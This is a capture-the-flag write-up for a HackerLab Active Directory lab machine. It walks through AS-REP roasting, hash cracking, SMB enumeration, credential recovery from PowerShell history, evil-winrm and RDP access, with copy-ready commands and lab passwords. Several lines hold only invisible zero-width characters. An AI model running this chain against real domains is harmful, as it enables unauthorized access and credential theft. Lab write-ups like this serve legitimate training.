Рекрутинговое агентство (Recruiting Agency)

Platform: hackerlab | Category: Pentest | Type: Challenge | Difficulty: Medium | OS: Windows | Author: XESXOR | Date: 2026-01-08 | Status: Solved Techniques: as_rep_roasting, credential_discovery, powershell_history_forensics, smb_enumeration, winrm_ssl

Summary

Task: Pentest Windows AD Domain Controller machine. Solution: AS-REP Roasting to get initial credentials, SMB enumeration to find PowerShell history with second user credentials, WinRM over SSL and RDP for flag access.

Рекрутинговое агентство (Recruiting Agency) - HackerLab

Description

Pentest machine with Active Directory Domain Controller. Need to gain access to the system and find the flag.

Reconnaissance

Target system:

• IP: 192.169.2.2 (via VPN)
• Domain: codeby.cdb
• Hostname: HR-AGENCY
• OS: Windows Server 2012 R2

Open ports:

53/tcp   - DNS
80/tcp   - IIS Web Server
88/tcp   - Kerberos
135/tcp  - RPC
389/tcp  - LDAP
445/tcp  - SMB
3389/tcp - RDP
5985/tcp - WinRM (HTTP)
5986/tcp - WinRM (HTTPS/SSL)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: AS-REP Roasting

Searching for users without Kerberos pre-authentication:

 bash read-only • copy allowed Copy
# Get user list via LDAP
ldapsearch -x -H ldap://192.169.2.2 -b "DC=codeby,DC=cdb" "(objectClass=user)" sAMAccountName

# AS-REP Roasting
impacket-GetNPUsers codeby.cdb/ -dc-ip 192.169.2.2 -usersfile users.txt -format hashcat -outputfile asrep.txt

Found user E.Kovaleva with disabled pre-authentication.

Cracking the hash:

 bash read-only • copy allowed Copy
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Result: E.Kovaleva:Mentiras123

Step 2: SMB Enumeration

With obtained credentials, enumerate SMB:

 bash read-only • copy allowed Copy
smbclient -L //192.169.2.2 -U 'E.Kovaleva%Mentiras123'
smbclient //192.169.2.2/Users -U 'E.Kovaleva%Mentiras123'

Found PowerShell history file:

E.Kovaleva/AppData/Local/Microsoft/Windows/PowerShell/ConsoleHost_history.csv

History contents:

 powershell read-only • copy allowed Copy
$pass = Get-Content C:\Windows\Registration\cred.txt | ConvertTo-SecureString
$user = 'codeby\A.Molotov'

Step 3: WinRM via SSL (port 5986)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

E.Kovaleva is a member of Remote Management Users group - access via WinRM.

IMPORTANT: Since the attacking machine is not in the codeby.cdb domain, SSL port 5986 must be used (not 5985).

 bash read-only • copy allowed Copy
# Via Docker if evil-winrm is not installed locally
docker run --rm -it oscarakaelvis/evil-winrm \
  -i 192.169.2.2 -u E.Kovaleva -p Mentiras123 -P 5986 -S

# Or directly
evil-winrm -i 192.169.2.2 -u E.Kovaleva -p Mentiras123 -P 5986 -S

Reading the password file:

 powershell read-only • copy allowed Copy
*Evil-WinRM* PS C:\> type C:\Windows\Registration\cred.txt
N0_way_my_fr1end

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Result: A.Molotov:N0_way_my_fr1end

Step 4: RDP as A.Molotov

A.Molotov is a member of Remote Desktop Users group.

 bash read-only • copy allowed Copy
xfreerdp /v:192.169.2.2 /u:A.Molotov /p:N0_way_my_fr1end /cert:ignore

Flag is on the desktop:

C:\Users\A.Molotov\Desktop\user.txt

Attack Chain

AS-REP Roasting → E.Kovaleva:Mentiras123
        ↓
SMB Enumeration → PowerShell History
        ↓
WinRM (SSL 5986) → cred.txt → A.Molotov:N0_way_my_fr1end
        ↓
RDP → Flag

Lessons and Mistakes

Problems during solving:

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

1. WinRM port 5985 vs 5986

   • Spent a long time trying to connect via port 5985 (HTTP)
   • Since the attacking machine is not in the codeby.cdb domain, SSL port 5986 is needed
   • Lesson: Always check both WinRM ports and remember SSL for non-domain machines

2. PowerShell history path

   • Searched in standard location PSReadLine/ConsoleHost_history.txt
   • File was in AppData/Local/Microsoft/Windows/PowerShell/ConsoleHost_history.csv
   • Lesson: Search for PowerShell history in ALL possible locations ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

3. Remote Desktop vs Remote Management

   • Confused groups - tried to connect via RDP as E.Kovaleva
   • E.Kovaleva is only in Remote Management Users (WinRM), not Remote Desktop Users (RDP)
   • Lesson: Check group membership via LDAP before connection attempts

Checklist for future AD tasks:

• Check AS-REP Roasting (GetNPUsers)
• Check Kerberoasting (GetUserSPNs)
• Enumerate SMB shares with credentials
• Search PowerShell history in different locations
• Check WinRM on both ports (5985/5986)
• Check group membership before connecting ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Tools

Useful Commands

 bash read-only • copy allowed Copy
# AS-REP Roasting
impacket-GetNPUsers domain.local/ -dc-ip IP -usersfile users.txt -format hashcat

# WinRM via SSL
evil-winrm -i IP -u USER -p PASS -P 5986 -S

# Check user groups via LDAP
ldapsearch -x -H ldap://IP -D "user@domain" -w "pass" -b "DC=domain,DC=local" \
  "(sAMAccountName=username)" memberOf

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍